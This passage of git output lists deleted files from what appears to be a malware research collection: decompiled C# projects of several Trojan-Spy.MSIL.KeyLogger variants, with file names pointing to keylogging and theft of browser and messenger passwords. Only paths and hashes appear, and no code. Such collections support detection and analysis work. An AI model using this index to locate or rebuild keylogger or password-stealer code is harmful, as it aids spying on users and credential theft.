MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/Trojan-Spy.MSIL.KeyLogger.cuw.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/Form1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/Form1.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/Trojan-Spy.MSIL.KeyLogger.cuw.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9c96d3e56ec0656218410829a8285ebf2ebabf98bdc4524c959a5a23acb91222/Trojan-Spy.MSIL.KeyLogger.cuw.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/Form1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/Form1.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/Trojan-Spy.MSIL.KeyLogger.cuw.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-b4bb3832418491c9ce205c853be9cc335b8f9f52b19439dc9d5be75c6970267c/Trojan-Spy.MSIL.KeyLogger.cuw.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/DKZdzRzsT.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/LEThjJw.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/Trojan-Spy.MSIL.KeyLogger.cve.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/Trojan-Spy.MSIL.KeyLogger.cve.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cve-9472961f0eb1b1eabf0fa24a446a9649c2ef21221933f756389470464205e723/eGKfVnKcdYRn.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/Form1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/Form1.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/Trojan-Spy.MSIL.KeyLogger.cwa.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cwa-22811015b9cedd6f04b0b7f7807704160caa82f6f39beaed68d28841f24a36c6/Trojan-Spy.MSIL.KeyLogger.cwa.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/KeyLogger/Properties/Resources.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/KeyLogger/Properties/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/KeyLogger/Properties/Settings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/Trojan-Spy.MSIL.KeyLogger.czk.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/Trojan-Spy.MSIL.KeyLogger.czk.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙀ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙀ.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙂ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙄ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙆ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙖ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙵ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᙾ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᝨ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᝮ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᝰ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᝰ.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ណ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/យ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/យ.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ឞ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ឞ.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/អ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ឰ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ឲ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ឲ.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ែ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ែ.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ោ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ោ.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ំ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ំ.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ៈ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ៈ.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៊.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៊.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៎.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៘.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៘.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/០.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/៪.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/᠆.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/᠊.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/᠘.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᠨ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᠾ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡄ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡈ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡔ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡘ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡙ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡙ.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡞ.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/ᡞ.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.czk-cde7546df369e926f201a20ea21a174728391b0927412058c56dcdd5367e606c/᡾.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Form1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Form1.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Form2.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Form2.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Trojan-Spy.MSIL.KeyLogger.dga.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/Trojan-Spy.MSIL.KeyLogger.dga.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.dga-587a465ee851a2882b63d04f016426c80cc35edb43d4858c11a1f113fdb431b9/huhuhuiifyuhuyufuf.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Form1.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Form1.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Keyboard.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/MyApplication.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/MyComputer.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/MyProject.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Trojan-Spy.MSIL.KeyLogger.ecv.csproj delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ecv-e4a62094b82ad39b68d7c08aa1c5b39a32bf84e1b5ed331231a360db8c0522dd/Trojan-Spy.MSIL.KeyLogger.ecv.sln delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/AssemblyInfo.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CIE7Password.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CIE7Passwords.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CIEPassword.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CIEPasswords.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CItem.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CItems.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CMSNExplorerPassword.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CMSNExplorerPasswords.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CMSNMessengerPassword.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CMSNMessengerPasswords.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CProtectStore.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CSubType.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CSubTypes.cs delete mode 100644 